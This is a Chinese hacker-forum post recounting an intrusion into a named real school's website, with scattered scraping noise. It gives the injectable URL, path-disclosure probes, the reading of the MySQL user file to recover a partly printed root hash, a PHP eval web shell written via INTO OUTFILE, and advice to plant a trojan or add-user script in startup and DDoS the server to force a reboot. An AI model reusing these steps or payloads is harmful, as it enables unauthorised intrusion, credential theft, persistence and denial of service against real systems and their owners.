友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
, k* S6 u# O/ ?- _0 a
/ {* F/ x: Q, @. I9 k# [
* d! @# A$ h7 j9 ~; `+ I
+ Z. H, N& `- D. H* k" i常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

" L/ ~7 R/ R) f: Z那么想可以直接写入shell ，getshell有几个条件：
" Q* I5 l& a- J9 l3 l2 Q" X

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
3 a) D8 q4 M  u& Y8 ^$ m; _
5 \( |) G' A8 t- o3 K! G试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
. k7 r2 m4 @8 u4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
- H4 F6 Y  Z# F; @1 D6./phpmyadmin/libraries/lect_lang.lib.php  
! g% D+ m+ n6 H) b* p1 m' Y7 x  J& K7./phpmyadmin/libraries/mcrypt.lib.php   
( K+ t7 L) ~) n  V7 S& n8./phpmyadmin/libraries/export/xls.php  

+ w' G+ t/ {: w4 `% |均不行...........................

御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
. Z; e; R- C* [  j1 V/ J
3 n. V/ x1 o% T权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
# `% m' R6 B/ e$ K7 V, t' N' \
$ l- u, P8 d: o; ?' N* G  S( A默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

3 N% Q' Q# F( k$ }9 b# ihttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
( \0 d: \) ~  T- V; }. w) v4 {
* v4 F' [$ y6 W  z  t8 `: {自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

成功读到root密码：
9 @. w/ {6 s5 F3 A3 b: I8 Q3 z
17---- r(0072)
, c8 H; X6 E' |* h7 @18---- o(006f)
9 q/ r0 v" Z# _$ n* P5 |; ~' L19---- o(006f)
  a" i  H+ k# c! c3 ]20---- t(0074)
& m+ q) h% @! N- X21---- *(002a)
22---- 8(0038)
6 P/ u' ]/ g4 V+ C1 f0 j23---- 2(0032)
24---- E(0045)
5 P  |2 d8 S! O25---- 1(0031)
26---- C(0043)
27---- 5(0035)
28---- 8(0038)
2 x1 e4 B3 Z* _" y! |( G) b29---- 2(0032)
30---- 8(0038)
31---- A(0041)
32---- 9(0039)
33---- B(0042)
, Z6 X, [' t* I- l8 `8 L1 w5 _, u34---- 5(0035)
35---- 4(0034)
2 ?. |  L" t; J36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
4 ^$ r! I8 ~3 s6 x" W6 u. r" Z; v39---- 9(0039)
40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
0 v# k% ]+ |" n  H43---- 3(0033)
/ J' @8 S& O2 o: p44---- 5(0035)
45---- 9(0039)
$ y: t( R3 X  m: D; f9 E/ L46---- 8(0038)
47---- F(0046)
1 J9 y& Y" Y3 x: v' M" w48---- F(0046)
' f$ n. w1 q5 o6 [; O49---- 4(0034)
50---- F(0046)
% p' A" x2 l3 q- `$ n51---- 0(0030)
8 m# O& C: {2 j  W" b# O, {52---- 3(0033)
53---- 2(0032)
# h! s$ Z! g4 J& _) _54---- A(0041)
7 T% M6 N( O; M' I) j: d2 g55---- 4(0034)
; c7 x) B* ]' X. G' P9 k56---- A(0041)
! n! J8 [5 K3 U& }2 o! j& q57---- B(0042)
4 i' l% N' ]" k! g0 P% d58---- *(0044)
59---- *(0035)
4 s) Z" r, q; y, I60---- *(0041)
- N" R, s% ^, F9 Y61---- *0032)

4 b' [9 I/ D8 {6 \# A2 S& K解密后成功登陆phpmyamin
                          
/ Z8 {, x5 D/ d
6 ]" H5 P, r( B* p  |                             
8 O  m6 t. l* a' _; {4 \$ h
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
2 ^. c  A9 @, V2 w
5 p" o1 L5 Z4 O6 f7 \成功执行，拿下shell，菜刀连接：

服务器不支持asp,aspx,php提权无果...................
  K( }9 K; @" M8 K6 c9 U% R
: N9 Y% k4 q; I+ {" v但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

) L+ c8 f8 P& V0 `7 z) c) B

别名     administrators
0 U% G7 F9 c9 \; a# S注释     管理员对计算机/域有不受限制的完全访问权

成员

+ R! C% h8 G6 y, ~0 k1 D

-------------------------------------------------------------------------------
admin
' n5 U1 U; Z0 C" |, k( cAdministrator
2 y) s" k8 f! c1 u, Sslipper$
' [7 H% ?* l" B' H: Dsqluser
* ?+ F* w4 M4 h6 L8 }* v) @命令成功完成。
4 y' g8 o3 [; J8 g+ C) K) U- E
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
. O) `; ]) j" L* {6 m8 D
ddos服务器重启，不然就只能坐等服务器重启了...............................
) @& d- e, A" s. t# A* y0 u
      

angel